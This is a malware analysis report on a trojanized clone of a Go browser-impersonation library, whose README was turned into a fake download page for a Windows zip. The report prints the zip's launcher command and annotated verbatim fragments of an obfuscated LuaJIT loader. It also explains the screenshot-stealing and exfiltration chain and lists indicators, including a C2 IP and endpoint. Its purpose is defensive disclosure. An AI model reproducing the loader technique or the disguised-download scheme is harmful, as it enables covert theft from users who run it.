The real surf is a genuinely slick Go library for HTTP requests that impersonate real browser TLS and HTTP/2 fingerprints — this package is that library, cloned file-for-file, with exactly two things changed: the README, and what's hiding in the examples folder.
A download button on a library you import
A Go module is something you go get; you do not double-click it. This clone's go.mod still declares the upstream github.com/enetx/surf it forked from — a rename the author never made — while its README has been rewritten from a developer reference into a glossy "Download Surf" product page. A download badge and seven separate links all point at one file served off GitHub's raw URL, and the steps walk a Windows user through extracting and running it; the genuine library ships no executable at all.
What gives it away as crude rather than clever is that the page doesn't match its own payload — it promises Linux and macOS builds named like surf-linux-amd64 and a version-printing command, yet the zip is Windows-only and bolted to a library with no CLI to print anything: a generic "download our app" template stamped onto a Go package by something that never looked inside the box.
// go.mod — the fork forgot to rename itself
module github.com/enetx/surf // ← upstream path, not mehdimin11/surf
// README.md — the same raw-GitHub zip, badge + 6 more links
[]
"visit the Releases page" → …/raw/refs/heads/main/examples/Software-v1.1-alpha.1.zip
What's in the box
The zip holds three files and no ambiguity: Launcher.cmd is the entire detonator in 28 bytes, starting a stock 878 KB LuaJIT interpreter against the payload — a 309 KB text file that is one single line of fully-packed Lua. Shipping the interpreter alongside the script is the whole move: the .exe is an unmodified, recognizable LuaJIT that scanners wave through, while the malicious logic rides in a text file they read as inert. Underneath, the logic is a return-function loader wrapped in an indexed string-permutation decoder; cleave fingerprints the obfuscation as T1027, and static analysis stops there.
:: Launcher.cmd — the whole detonator, 28 bytes
start luajit.exe uix.txt
// uix.txt — one 309 KB line, wrapped + annotated; every fragment below is verbatim
return(function(...)return(function(z,E,A,j,r,l,Q,F,V,L,N,G,q,s,g,d,k,O,K,c,u,y,U,t)
// a table of closure factories that build the VM's dispatch thunks
F,d,O,K,t,q,V,c,G,y,U,u,N,L,s,g,k = {},
function(z,E)local A=L(E) local j=function(j)return y(z,{j},E,A)end return j end,
-193518+(768751-575233), // constants are always arithmetic
function()K=K+(-843160-(-843161))c[K]=445494+-445493 return K end, // a +1 counter, obfuscated
…
// two identical decoders: rebuild a string by index-permuting its own halves
local mn=function(z)local y="" for E=1,#z/2,1 do y=y..z[#z/2+z[E]] end return y end
local xn=function(z)local y="" for E=1,#z/2,1 do y=y..z[#z/2+z[E]] end return y end
// ~80 more single-letter registers, then the dispatcher itself
local Nn,Vn,sn,c,An,o,dn,fn,tn,Zn,rn,nn,B,n,f,X,Cn,Yn,U,e,yn, … ,v,P
while y do if y<8480031-138744 then if y<180234+4481382 then if y<339991+(1560860-(-275750)) then
Q=F[j[1017378+((-550661-(345227-(-367997)))-(-246508))]]
K=F[j[-687784+((1750891-668090)-395015)]]
L=F[j[(839244-(1926192-1009153))-(-77798)]]
U="\209\160\001" // an encrypted string literal
| File | Trait | Evidence | |
|---|---|---|---|
Software-v1.1-alpha.1.zip |
objectives/supply-chain/hidden-payload/exec |
Launcher.cmd runs luajit.exe uix.txt — archive ships its own interpreter to execute the payload (T1195.002) |
|
…zip!!uix.txt |
objectives/anti-static/obfuscation/code-metrics/structure |
309 KB single-line packed return-function loader, indexed string-permutation decoder (T1027) | |
luajit.exe |
micro-behaviors/process/interpreter/lua |
Stock LuaJIT VM — the bring-your-own runtime, benign in itself | |
luajit.exe |
objectives/evasion/process/injection/shellcode |
W^X flips via VirtualProtect + CreateThread — inherent to a JIT, flagged on the byte pattern |
Run under an instrumented LuaJIT harness, the 309 KB line unfolds into an FFI shellcode loader that walks the PEB_LDR_DATA chain by hand to resolve its APIs, then photographs the desktop and mails it home. The bitmap leaves as a multipart POST to a hardcoded IP, wrapped in the usual misdirection: a geolocation lookup, a decoy Polygon RPC call, and a Tor/I2P-shaped fallback address. The behavior we trapped is a screenshot stealer, but one instrumented run only exercises the branches it reaches — and that live eth_call against a smart contract is the kind of hook that could fetch a second stage, drain a wallet, or open remote control we never tripped, so read the screenshot as the floor of this payload's ambition, not the ceiling.
The screen-grab-to-exfil chain, recovered under instrumentation:
| Step | Mechanism | API |
|---|---|---|
| Resolve APIs | PEB/LDR walk + export-table parse, no static imports | LoadLibraryA, GetProcAddress |
| Capture screen | size desktop, blit into a DIB, build a BMP in memory | GetSystemMetrics, BitBlt, CreateDIBSection |
| Exfiltrate | multipart POST of the BMP over HTTP | HttpSendRequestW, InternetWriteFile |
Package metadata
| Field | Value |
|---|---|
| published path | github.com/mehdimin11/surf |
| module (go.mod) | github.com/enetx/surf |
| version | v0.0.0-20260613092640-ad5ed84dc67c |
| go | 1.25.0 |
| license | MIT |
It's impersonation all the way down — a library built to fake browser fingerprints, itself faked into a download button, bring-your-own-interpreter so the only thing your scanner recognizes is the half that's innocent.
Indicators
| Type | Value |
|---|---|
| Module zip | github.com-mehdimin11-surf-v0.0.0-20260613092640-ad5ed84dc67c.zip |
| Module zip SHA-256 | 6a48ef430e554a2826d0afcdf0c24a9ef7d3e0b76c39975c39181ffe2b18020b |
| Payload archive | Software-v1.1-alpha.1.zip |
| Payload archive SHA-256 | 5eefdc7551235432c91e85b80d1a9ef3976055d09ffbbe54c12338da3c559852 |
| Obfuscated loader | uix.txt |
uix.txt SHA-256 |
8cede35b80b1deaf732c2b178d908f91b3e7a0c114d06dfae9075b8a9bf78b8f |
| Bundled interpreter | luajit.exe |
luajit.exe SHA-256 |
f3e34c9e36f3be065d80d456281d31dd1cc85eb4980db7fa8c1b0eb6f29c25d8 |
| Download URL | https://github.com/mehdimin11/surf/raw/refs/heads/main/examples/Software-v1.1-alpha.1.zip |
| C2 (screenshot exfil) | 213.176.73.151 |
| C2 endpoint | POST /api/NTE3YjdjNWU1NjYzNjU2YTA1N2Y= (multipart/form-data) |
| Geolocation recon | ip-api.com/json/ |
| Blockchain RPC (decoy / C2 fetch) | polygon.drpc.org |
| Fallback address (Tor/I2P-shaped) | 26bbudy13hydiihesb72eoyx8t8rqg0sifvolvn71nyq7 |